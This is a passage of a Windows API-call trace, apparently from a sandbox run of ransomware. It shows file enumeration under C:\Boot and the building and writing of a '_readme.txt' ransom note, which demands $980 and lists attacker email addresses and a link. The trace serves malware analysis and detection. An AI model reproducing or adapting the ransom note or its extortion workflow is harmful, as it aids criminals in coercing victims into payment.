| out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d80 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.745] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.746] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0111.746] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.746] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0111.746] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x214) returned 0x7b14908 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360c8 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f60 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f88 [0111.747] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fb0 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0111.747] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.748] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.748] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ee8 | out: hHeap=0x5010000) returned 1 [0111.748] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.748] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.748] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0111.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.748] PathFindFileNameW (pszPath="") returned="" [0111.748] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.748] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.748] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.748] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.748] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.748] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35fd8 | out: hHeap=0x5010000) returned 1 [0111.748] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0111.749] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0111.749] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.749] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.749] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.749] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fd8 [0111.749] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35fd8 | out: hHeap=0x5010000) returned 1 [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ee8 | out: hHeap=0x5010000) returned 1 [0111.749] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.749] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.749] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.749] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.749] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.750] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.750] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.750] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.751] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.751] RtlAllocateHeap (HeapHandle=0x5010000, 